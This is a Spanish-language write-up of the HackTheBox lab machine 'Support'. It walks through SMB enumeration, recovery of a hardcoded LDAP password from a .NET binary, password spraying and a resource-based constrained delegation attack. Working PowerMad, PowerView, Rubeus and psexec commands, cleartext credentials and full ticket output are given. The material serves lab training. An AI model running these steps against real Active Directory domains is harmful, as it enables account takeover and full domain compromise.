Resumen
Support de la plataforma HackTheBox es una máquina Windows de dificultad Easy muy interesante creada por 0xdf. Involucra conceptos de reversing en una binario .NET, enumeración SMB/LDAP, autenticación de kerberos y más.
Enumeración
Nmap
Veremos que encontramos los puertos típicos de un controlador de dominio, sin sitios web.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Nmap scan report for 10.129.57.104
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-17 20:23:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
62374/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=12/17%Time=639E255A%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-12-17T20:26:13
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 307.60 seconds
SMB - 445 TCP
Iniciando con SMB, vemos que el dominio es support.htb
y el nombre de la máquina víctima es dc
.
Para la enumeración de directorios compartidos, veremos que SMB nos arroja error cuando intentamos autenticar con usuario y contraseña NULL
.
Sin embargo, cuando lo hacemos con un usuario ficticio, en este caso asdfg
, si que podemos ver los shares.
Salta a la vista inmediatamente el directorio support-tools
, en el cual tenemos permisos de lectura.
Enumerando un poco más a fondo con smbmap vemos que existen utilidades típicas de una mesa de ayuda de soporte a excepción de una, que además tiene una fecha de modificación distinta al resto.
Descargaremos UserInfo.exe.zip
.
El compromido contiene un binario .exe
, un fichero de configuración y múltiples .dll
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
~/Documents/HTB/Support/content/smb ❯ unzip 10.129.57.104-support-tools_UserInfo.exe.zip
Archive: 10.129.57.104-support-tools_UserInfo.exe.zip
inflating: UserInfo.exe
inflating: CommandLineParser.dll
inflating: Microsoft.Bcl.AsyncInterfaces.dll
inflating: Microsoft.Extensions.DependencyInjection.Abstractions.dll
inflating: Microsoft.Extensions.DependencyInjection.dll
inflating: Microsoft.Extensions.Logging.Abstractions.dll
inflating: System.Buffers.dll
inflating: System.Memory.dll
inflating: System.Numerics.Vectors.dll
inflating: System.Runtime.CompilerServices.Unsafe.dll
inflating: System.Threading.Tasks.Extensions.dll
inflating: UserInfo.exe.config
Acceso LDAP
Analizaremos el binario Userinfo.exe
para ver de que se trata.
1
2
~/Documents/HTB/Support/content/smb ❯ file UserInfo.exe
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Es un archivo .Net
, por lo tanto, podemos llevarlo a una VM Windows para ejecutarlo o bien hacerlo en Linux si contamos con el ambiente configurado. De no ser así, se puede instalar realizando lo siguiente:
Instalar powershell. Existe una guía en la página oficial de Microsoft, en nuestro caso utilizaremos la que está enfocada Ubuntu.
Instalar dotnet-sdk. Para esto también se puede obtener la documentación desde la página oficial de Microsoft.
Instalar mono. En mi caso utilicé el paquete mono-complete.
apt-get install -y mono-complete
.
Mas información en el video de ippsec.
Volviendo al binario UserInfo.exe
, al ejecutarlo vemos lo siguiente.
Si utilizamos la sintaxis correcta, en modo verbose nos indicará exactamente que es lo que está haciendo.
Vemos que está intentando obtener información a través de LDAP en base a la información proporcionada.
Nota: Se debe agregar support.htb a
/etc/hosts
previamente, de lo contrario arrojará error de conexión.
Método 1 - Utilizando Wireshark
Esta vez realizaremos la misma consulta pero analizaremos el tráfico generado con Wireshark.
Vemos que en tráfico generado por el procotolo LDAP, tenemos un bindrequest hacia support\ldap. Lo cual nos indica directamente que está utilizando el usuario ldap para la autenticación.
Si nos fijamos en la información en el panel inferior y extendemos Lightweight Directory Access Procotol en adelante, veremos que se nos muestra la clave con la que se realiza la autenticación.
También es posible llegar a esto si hacemos click derecho sobre el paquete y vamos a Follow > TCP Stream.
Método 2 - Reversing Userinfo.exe
También es posible tomar el binario hacia una VM Windows y analizarlo con dnspy o similares.
Si abrimos el binario y navegamos hasta Userinfo.Services, en la función LdapQuery veremos como se realiza la autenticación y consulta hacia el servidor LDAP.
LdapQuery()
1
2
3
4
5
6
7
8
9
10
11
public static string getPassword()
{
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
}
return Encoding.Default.GetString(array2);
}
La contraseña se está obteniendo como variable desde la función getPassword. Podemos navegar a esta función y veremos como se está generando la contraseña.
1
2
3
4
5
6
7
8
9
10
11
public static string getPassword()
{
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
}
return Encoding.Default.GetString(array2);
}
Para conseguir la contraseña en texto claro, es necesario obtener el contenido de enc_password y key.
enc_password
1
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
key
1
private static byte[] key = Encoding.ASCII.GetBytes("armando");
Con esta información ya es posible construir un script en python que genere la contraseña.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3
import base64
key = b'armando'
enc_password = b'0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E'
password = base64.b64decode(enc_password)
final_pass = ''
for i in range(len(password)):
calc = password[i] ^ key[i % len(key)] ^ 223
final_pass += chr(calc)
print(final_pass)
Al ejecutarlo obtendremos la contraseña del usuario ldap.
Método 3 - Debug Userinfo.exe
Otra forma de obtener la contraseña, es ejecutar el binario con un debuger y añadir un breakpoint en la línea de código que recibe la contraseña en texto claro.
Para lo anterior, abriremos nuevamente UserInfo.exe con dnspy y añadiremos un breakpoint F9 en la línea 5 de la función LdapQuery.
Ahora con F5 o desde el menu Debug > Start Debugging…. Ejecutaremos el binario pasándole los argumentos -v find -first 'cervant'
al igual que como lo hicimos desde consola.
El programa se ejecuta y se detiene en el breakpoint seteado pero de momento el campo password se encuentra en NULL
.
En este punto deberemos continuar al paso siguiente F10 o con el botón Step Over
Con esto ya veremos la clave en texto claro en el panel inferior.
En este caso también sería factible aplicar el breakpoint directamente en la linea donde se utiliza la contraseña en la query LDAP.
Consola como support
Ya teniendo la contraseña, procederemos a validarla con CrackMapExec.
Es válida para el servicio SMB pero no para winRM como era de esperarse.
Lo primero será enumerar otros usuarios dentro de la máquina.
users.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Administrator
Guest
krbtgt
DC$
ldap
support
smith.rosario
hernandez.stanley
wilson.shelby
anderson.damian
thomas.raphael
levine.leopoldo
raven.clifton
bardot.mary
cromwell.gerard
monroe.david
west.laura
langley.lucy
daughtler.mabel
stoll.rachelle
ford.victoria
MANAGEMENT$
Enumeraremos LDAP con las credenciales obtenidas utilizando ldapdomaindump.
1
ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' support.htb -o ldap
Si revisamos el archivo domain_users.json
, veremos que hay un atributo llamado info que contiene lo que parece ser una contraseña.
Realizaremos un password spraying sobre los usuarios que obtuvimos anteriormente.
Validamos que la contraseña corresponde al usuario support y este puede autenticar tanto en SMB como en winRM.
Bloodhound
Una vez dentro de la máquina como el usuario support, utilizaremos Bloodhound para enumerar el sistema y buscar posibles vías para la escalada de privilegios.
Subiremos SharpHound.exe y al ejecutarlo nos generará un comprimidoc con toda la información recolectada que posteriormente subiremos a Bloodhound.
Una vez importada la data, veremos que el usuario support pertenece al grupo Shared Support Accounts
, el cual tiene permisos GenericAll
sobre dc.support.htb.
Si clicamos sobre GenericAll y vamos a Help > Abuse Info, nos dará instrucciones sobre como explotarlo.
Según la información, es posible realizar un ataque de tipo Resource based constrained delegation attack. Hacktricks tiene un articulo sobre como explotarlo.
Consola como administrator
El proceso para abusar rbcd es el siguiente.
- Agregar un nuevo equipo al dominio.
- El nuevo equipo operará como DC y permitirá solicitar Ticket-Grating-Ticket (TGT) de Kerberos.
- El ticket permitirá impersonar al usuario administrador o cualquier otro.
Para esto necesitaremos PowerMad, PowerView y Rubeus.
Ejecutar ataque rbcd
Desde la máquina victima conectados a través de Evil-Winrm, subiremos las herramientas y primero crearemos el equipo para impersonar.
1
2
Import-Module .\Powermad.ps1
Import-Module .\PowerView.ps1
1
New-MachineAccount -MachineAccount CervantComputer -Password $(ConvertTo-SecureString 'cervant123' -AsPlainText -Force) -Verbose
Una vez creada la máquina, configuraremos la delegación de privilegios para que nuestro equipo tenga la capacidad de impersonar cuentas dentro del dominio.
1
Set-ADComputer dc -PrincipalsAllowedToDelegateToAccount CervantComputer$
Podemos validar con el siguiente comando.
1
Get-ADComputer dc -Properties PrincipalsAllowedToDelegateToAccount
Obtener TGT
Primero deberemos obtener el hash de nuestro equipo/contraseña.
1
.\Rubeus.exe hash /password:cervant123 /user:CervantComputer$ /domain:support.htb
La parte que nos interesa, es el hash rc4_hmac
.
Este hash lo utilizaremos para obtener el ticket.
1
.\Rubeus.exe s4u /user:CervantComputer$ /rc4:86D12C61783F55DE31BD2930442E322C /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe s4u /user:CervantComputer$ /rc4:86D12C61783F55DE31BD2930442E322C /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: S4U
[*] Using rc4_hmac hash: 86D12C61783F55DE31BD2930442E322C
[*] Building AS-REQ (w/ preauth) for: 'support.htb\CervantComputer$'
[*] Using domain controller: ::1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFrDCCBaigAwIBBaEDAgEWooIEvDCCBLhhggS0MIIEsKADAgEFoQ0bC1NVUFBPUlQuSFRCoiAwHqAD
AgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0YqOCBHYwggRyoAMCARKhAwIBAqKCBGQEggRgdcyn1TWx
MH6l+UDzxkhirz0hnivAU826yI468Tlns7fSugOfBLfkdkQuDwiKVxHvD7O78Y72obfWZRxyzz7QbzBC
vQFWQaSQ/zn+/onK82CRVC+ytHl+CSpAx37YUp8awjgKuHhrH3P72N3Y341CEuMS3Mopw0qtOLLZrofz
sqArj1pfADA3DMfcJ6OSVzIt9yzjUx/zm7qpaMhgu9PEXttpaXssi+M8ACZXzhQlnhQojGvMylirQuJN
M9sXTMC7gUT3BWHwZmZ0HY+ZtM4hI3M5rCv6mwp8DBx9p/FdI35wHfVoR/5xvt1q3S7zYb/AAAaU52ES
qX9TBGGOLlv+aPZ/2iQn89gW2XFuBs2RxG+LVRax/veKsVsbv2t7nDkTS+hNolty25eJpy931mZ5iMmV
9ZZTTnI5polv52cIun4Y7TweF4ex4SfUCnWzmcIzzVoHU7+UBvpJ0PtpMuZVswZpfCTXalplq1MTahYP
AxsqCbxc12ShuEmHNWW9dvIqrKCJ1t0mr6k6EEXkHrY8tYaa6D24cgySpLkiLsWz8jqe7qo7GMHhrr4S
Nu62ow7zVU/IzXKPR49euHpeRpPgRVCAHewXz/8sZg9Gvmoj1Pgh5tn8+ldXDBij9mIEeJM8UdISooQ3
MtK3i0LOBm7ls9HtZ3OR3PzWMlsiHE0BLwjgqwfepCLycggIjK+xRDw9fzbLOR841qqwSAEcbgBuvOwo
XtuOicC6C1Iid/eNdiKp3NA5FU2diof70CThAtUdXU/4Comcry7t8avyV1zPAwMzoL19+0JFVNhkWSqL
Em7yDeuX4MS1OIbAraIbxnVme0c6uFzza6LFIc/uYGVBbZdilQbvDMTbkOikzms0GQk8/6o4mquUkYQy
eJTat8/uzWr/ivauBIg5wTe4VKcyMtK8iwXn3L6j5OfcPrNhOTVgzb4lM97PTnx/li9o+79stUp5QQo1
7NGe4UY2Bi5xN5yRkul3FoTgZfysLIHNcAnVdMiaGmMqMf3gsd+pr/p9ksmmCcY6b2sfmkOOwkDkRwXR
JOdSW5MZWDI+pQ6fTS3biFV/XLVWXrwdnpiELoauJHDBL0bXNM1bKGSBPpslIa3I8mq3a+hA8qoAQeM+
zZ007yWP0pTNlCbxPP1mVfV8m27Mz21tPl+Ujx517gYjhQ8s/lhGCZXXUUtEDFHJQCuzOkmChOxZSllh
j8rVBHD8j9Y458m0XzbEUrEMqRYsTpp1KwsuAF/yC8OPTu8bhZqdmLBeabVdneljaC44By+pREggxvdk
q+AxD0cDu99w/MCcrDhws6mFkpY7fPGjMlNd00kywWpxGGCpXahhEk6sszLqlNMFz/70Qlzl8U0PTYjM
cnW6HfiL/vEGY3xy97eN+J51PGMkcmqFFch+znH9u4ZocgwZu8x3B/2K7oyBERNds+U/Pq/n9F0n0q0t
d9AB38O5aZFpPXTIp7tSfDC+q1EnY7UH2C4Y+os8iz3qCKOB2zCB2KADAgEAooHQBIHNfYHKMIHHoIHE
MIHBMIG+oBswGaADAgEXoRIEEKu0/tdgfod4mnHe7G5oo1WhDRsLU1VQUE9SVC5IVEKiHTAboAMCAQGh
FDASGxBDZXJ2YW50Q29tcHV0ZXIkowcDBQBA4QAApREYDzIwMjIxMjE4MDEyMTE1WqYRGA8yMDIyMTIx
ODExMjExNVqnERgPMjAyMjEyMjUwMTIxMTVaqA0bC1NVUFBPUlQuSFRCqSAwHqADAgECoRcwFRsGa3Ji
dGd0GwtzdXBwb3J0Lmh0Yg==
[*] Action: S4U
[*] Building S4U2self request for: 'CervantComputer$@SUPPORT.HTB'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2self request to ::1:88
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'CervantComputer$@SUPPORT.HTB'
[*] base64(ticket.kirbi):
doIFtDCCBbCgAwIBBaEDAgEWooIEyjCCBMZhggTCMIIEvqADAgEFoQ0bC1NVUFBPUlQuSFRCoh0wG6AD
AgEBoRQwEhsQQ2VydmFudENvbXB1dGVyJKOCBIcwggSDoAMCARehAwIBAaKCBHUEggRxpD7VsbS8tbwo
LznXesTYTN5oSYAVUmTidakwTc9Dm5wXbGeiaX3YVcM/O1QMhNXlg+TwcCaPpp8dKGjSIu/YTMVqBBI4
iScrOFQJjC9INN10zAu4fC97qQ+HiaQlP2VPA/VI7ANt+mAFnaNUKk2MvASllA9YIygD1tDLb/vnRLRy
c71/EBeGsHouBzJVdqoPHIGiQm1c0mnAqZI4nCN/lK3h/I07C1sipc+d8IMecOGm+KCFgss3frpNNiTe
nz7x1p+kasw0N4iQgv5hJbC87k6oRaFUbg4P5Nc2YWtd7aUfYTZXuthd5T7gfH/5TFEXMi0fjfu4qWIp
eHk9zCuHjrEnuBd1CwbcXTEtLO5/UrRDa7jQXVFIVj87RhUg2U8kA/mA9Ecx/i+iK2RJRAhArCOm0Xl8
62pFKSYwC+h/A1YJZvA+2KdsaMOh+CdFxH9JoOoWJdOZOQk9Jg0lKK4CZywHOHP1ryPzM5K6Ddodt9HE
ON172T7vvoyf77eYggmA0f//GkqzLiXoJ5nfF8B3HZz9rp/OqNMHp83ETrztKb+mE0mfdaYNrbw7zD3G
Kpncco6UveCYZpjmcecn/ooUBfWixm7bduMifePkBMxw0IuboxQ57mq0vu0lrYYqU2C5bkZ5FQQmMHeZ
Swod8LS1xWeXgPSpdlMwdhTWAQvURbtxSAGFyyIUVHktz8/2YAReCtC6YerfRQXS9p9mrkGTv7GEAGxZ
1157FUZUaoLQW8rmQKBfuNWK3/51tGZ7gY0qVV+q7KdQIXOTlOj/5bfbB1fI/zZuosjtFh0dM3eHGe3R
B8SaatPeze9msLEXt8TEHgBCGwXBM09RpRcPR+fikDLfR2O5aDrW3XF3D/Y25pJeDOZApOwshh1UdwE6
ok0FN0sJ2RJMV9esE+VJ8ZmmjNx2rIylKFuChWxJlttYl4qk/4O5TaY2HNEjzOV+rQCsrY3Jp0wdI0Ba
NbqGb857oNv0vc3tU0v22+qsv4Bf9a4ZJgs3I4bOw/9u88N5gGWUB9ZCSo5TADIs0WfUkVYMcgWr/j+d
3dPS+NP7O3kCyysa9MKtDWJwHTb9mzGo2rHtamJrsqtvdUPvSextFFlUYgdXsVesxFKhvllWKPr576IJ
f4/7ww0BkLosgLB/stO+tnglajhetSjajZ5l79zdEz4IipkV9K40l55jvSEBsNPln7PQ+HgRC93wZs17
oIrZx+YnI8ZicJoXA5aPH8RX3Fk7pbTTXD1jWjFlssuOfnoVnLZXBvxwZ6VNG3gtW82pentSJOUqMR7w
LMVUe3fTvLh+ASkLA9pGDE/Pek1h3idkDipAngXWNSC6CE7C2nU3yLRE5w3wCtvfdGDtBB6nD6ZR13ee
zIk1hH3tESesNPPPEei1P4QqqvAQDwGf1QOgqmRfVD0Whg/cxW+dNFl2qkEU1LmItR854bRZW22H9ODL
09hmm6UkvBEkjdCczLl8MbIeOQ52CH6Bjv27JVGN6JDmsTglYMtOURjE2+1IZEt3o4HVMIHSoAMCAQCi
gcoEgcd9gcQwgcGggb4wgbswgbigGzAZoAMCARehEgQQNLeomMFuKRTX5Hd6cAl9MKENGwtTVVBQT1JU
LkhUQqIaMBigAwIBCqERMA8bDWFkbWluaXN0cmF0b3KjBwMFAEChAAClERgPMjAyMjEyMTgwMTIxMTVa
phEYDzIwMjIxMjE4MTEyMTE1WqcRGA8yMDIyMTIyNTAxMjExNVqoDRsLU1VQUE9SVC5IVEKpHTAboAMC
AQGhFDASGxBDZXJ2YW50Q29tcHV0ZXIk
[*] Impersonating user 'administrator' to target SPN 'cifs/dc.support.htb'
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2proxy request to domain controller ::1:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':
doIGcDCCBmygAwIBBaEDAgEWooIFgjCCBX5hggV6MIIFdqADAgEFoQ0bC1NVUFBPUlQuSFRCoiEwH6AD
AgECoRgwFhsEY2lmcxsOZGMuc3VwcG9ydC5odGKjggU7MIIFN6ADAgESoQMCAQWiggUpBIIFJTsrd623
RKZpwZvc1XCXp4EXZXFXqqHUuMFGMyovX+MX7OcjrqR1KM8EqPn9H4KfTeCkYBS08Z85Xc6bsOCucf18
Ks1kDd8ZwFSWY0CbEvHPbR8Fx08FsoPOP+pTreSzO5+Fc8Vpb9nXRbQ4RNBk09beHaIHvyJpXyQW6Yjp
/y+naSDETXGmZUOYUlCtzNaB3pidgtivmlqtBcW9gVPso9/y4tu9FkriVzBcldeSvebqOtYB5Qnv2GsO
/4M/a3qYyLJ9iYWhKn+OrgoIMf1mAsKPmni3sTm06Cqgqj1FVsSln255ZkSrpgqdMeDLR9agIwgDJiXW
JyU3egidniBFBZdyOzxBFTgVO4P7ubuhMtZ8XM2V7Opseo/k2F48X4uLpGPXNSt7M3fyxBp8DUfDgbuu
7WA9VIdX2lgAYo+UTxAOZTjiXevAyTWVkUsYZEgJy3Js6zsEil/yrXhR6E4oOEa9llegdRa6OPw1cXAA
ikIPGO1BSKKu++tN9lTAhofzl0IIW+xTGBjQvk3LmJlTfSO3NldtqcLXaTZDCTvjRyiKpR+PetI9/u1v
RiK7AqGPNe46KazONiJRLjUOL4YWax1+h0d60WkPq/icfIYGUl8PzYDYaaXkGcdqOhMn/xLEJdCpMq1G
5c9RXpRoHwTcpo8pWLEl1haIUdzlxkJEUGhSQAYdP5HpTgo+LDxIDAriU71/IO5mmXBeDQwf3AIi7mY1
NLwal7DFqHQZp99mqROSSrCpj6Uy2HpE5EzN1Gu4r3xKA/+3MjwNoz0obp1KCi7DHDyiwG4xfir09TMe
0tkNX1V+5yBDao/0MKXIFOOz2rwxygvZZenYFCmnJ5MpTjtOFq5wl19a1lvRKxuxXM405iHkBj9aosXs
SCT0lf75L1npFoE4gvg+tLIhMNwPEhPn4uI1+zgv6l0eAJHavwSDkTvqQtwMgqUMx2zYf8jbMSvLLil9
OuveQShz7VzQYokcSWunWGBuej1UISokCoVvkufFaG+HAwqlykbCAKXb5OZiu3t4k4Tqyi8Di1BlKgzm
o2+mDJcGXeURjrv/4eiTA41JvtCJJgYOkJdd35nuyIEkkB62C1RkpENFu3rDJTtsGx8YNCsUXjIVKGr2
EVqFfcX8B82rRGy6XmTVaouBOaz6FFRvmVi/rDyyfgh16mrq9pCDBVfqXvvAAfLIBOfLLHhgcR6sHzEN
Q7reAPRi8Els3sW8Z/C3Us6KSmzy//i2XfwW2yWf1tjAfwOAB2iGnG2zWQyEjlMWZptjgKP65GK/h3+B
kJzgAl95JODEdHyqU+bsftKEJMrgQwxJXFLI8xlH97Hgk1wcSL+F/11G4plkRuxiKvP2IdZfsbkgETnh
XJo8U3FK6lfdyEzXBz7iOze+Eam26mQ4fnJ87E9sBeYSsCJOxiOqy03bXpPpWTXOeg/JRjLW6GkkvPRq
iNpB4j+0pdnqCT5BN5HpWAajhPRB7mPSCcY+ZCGIMzdcoJ0xh/WVUdn9tilojprjMcgqezFwxiFG0AY1
ciCy/TzPXG04o8aUqhxMdm8g1UHGuVVehoBvmxjZCMkT2r3S5mpynAdimIIBEFHTkOy+OcE4/Fu/UUk1
aRyJmWZyZTW5vkucjh6kFdux9vmo+6ZmNdiRUJhXPSFWkWyYOTrItBn1ES5SDuk/PpBsH3l0wn7OTZx1
hAL4fI/drnnjoTsRDdOBBNPdeim/kOCDxjoNEkD58xFTspnf1lfA/dYXEBplnNfCfTX0w6OB2TCB1qAD
AgEAooHOBIHLfYHIMIHFoIHCMIG/MIG8oBswGaADAgERoRIEEAS2uQ/FdigrOMMQOfjUvGShDRsLU1VQ
UE9SVC5IVEKiGjAYoAMCAQqhETAPGw1hZG1pbmlzdHJhdG9yowcDBQBApQAApREYDzIwMjIxMjE4MDEy
MTE1WqYRGA8yMDIyMTIxODExMjExNVqnERgPMjAyMjEyMjUwMTIxMTVaqA0bC1NVUFBPUlQuSFRCqSEw
H6ADAgECoRgwFhsEY2lmcxsOZGMuc3VwcG9ydC5odGI=
[+] Ticket successfully imported!
Este ticket debería funcionar directamente en nuestra sesión y darnos privilegios de administrador, pero no es nuestro caso. Por lo tanto, tendremos que descargar el ticket y utilizarlo remotamente.
Tomaremos el último ticket en base64 y lo descargaremos a nuestra máquina.
Lo decodificaremos.
Es importante que no contenga espacios en blanco para su correcta decodificación.
1
cat ticket.kirbi.b64 | base64 -d > ticket.kirbi
Una vez hecho esto, utilizaremos la herramienta ticketConverter.py de Impacket para convertir el ticket al formato correcto.
Por último, nos conectaremos como administrador a la máquina víctima, pero antes deberemos exportar una variable de entorno para indicarle a psexec desde donde debe importar el ticket.
1
export KRB5CCNAME=ticket.ccache
Con psexec.py deberemos especificar los argumentos -k
(para utilizar autenticación de Kerberos) y -no-pass
.
Obtendremos una consola como nt authority\system
.
Las flags se encuentran en:
C:\Users\support\Desktop\user.txt
C:\Users\Administrator\Desktop\root.txt
Recursos y enlaces
- Resolución por Ippsec - Video
- Resolución por 0xdf - Writeup
- RBCD attack - Hacktricks